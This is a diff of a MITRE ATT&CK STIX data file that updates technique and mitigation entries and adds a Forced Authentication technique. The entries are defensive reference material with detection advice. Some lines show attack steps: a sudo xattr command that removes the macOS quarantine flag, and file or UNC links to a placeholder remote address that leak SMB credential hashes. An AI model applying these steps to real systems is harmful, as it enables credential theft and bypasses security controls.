+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Logical Offsets Mitigation",
             "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -5358,9 +5253,9 @@
             "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:20.934Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Logical Offsets",
-            "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
+            "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5394,32 +5289,21 @@
                 "File monitoring",
                 "File system access controls"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Permissions Weakness Mitigation",
-            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users and installer detection for all users by modifying registry key\n<code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>; to disable installer detection, add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. (Citation: Seclists Kanthak 7zip Installer)",
+            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -5458,9 +5342,9 @@
             "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:43.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Permissions Weakness",
-            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak",
+            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5492,7 +5376,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
@@ -5509,26 +5394,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File and Directory Discovery Mitigation",
             "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -5569,9 +5443,9 @@
             "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:04.710Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File and Directory Discovery",
-            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
+            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5598,38 +5472,122 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls"
             ]
         },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Forced Authentication Mitigation",
+            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1187",
+                    "external_id": "T1187"
+                },
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                },
+                {
+                    "source_name": "US-CERT SMB Security",
+                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Forced Authentication",
+            "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.  (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are different ways this can occur:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1187",
+                    "external_id": "T1187"
+                },
+                {
+                    "source_name": "Wikipedia Server Message Block",
+                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/Server%20Message%20Block"
+                },
+                {
+                    "source_name": "Didier Stevens WebDAV Traffic",
+                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
+                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
+                },
+                {
+                    "source_name": "Microsoft Managing WebDAV Security",
+                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.",
+                    "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
+                },
+                {
+                    "source_name": "GitHub Hashjacking",
+                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
+                    "url": "https://github.com/hob0/hashjacking"
+                },
+                {
+                    "source_name": "Cylance Redirect to SMB",
+                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
+                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf"
+                },
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Teodor Cimpoesu"
+            ],
+            "x_mitre_data_sources": [
+                "File monitoring",
+                "Network protocol analysis",
+                "Network device logs",
+                "Process use of network"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
         {
             "type": "course-of-action",
             "id": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gatekeeper Bypass Mitigation",
             "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
             "external_references": [
@@ -5645,9 +5603,9 @@
             "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gatekeeper Bypass",
-            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check (Citation: Methods of Mac Malware Persistence). The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>  (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X).\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application  (Citation: Bypassing Gatekeeper).\n\nDetection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: MacOS, OS X\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
+            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5693,16 +5651,15 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Graphical User Interface Mitigation",
             "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -5743,9 +5700,9 @@
             "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:50.342Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Graphical User Interface",
-            "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
+            "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5768,36 +5725,24 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_remote_support": true
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HISTCONTROL Mitigation",
             "description": "Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.",
             "external_references": [
@@ -5817,9 +5762,9 @@
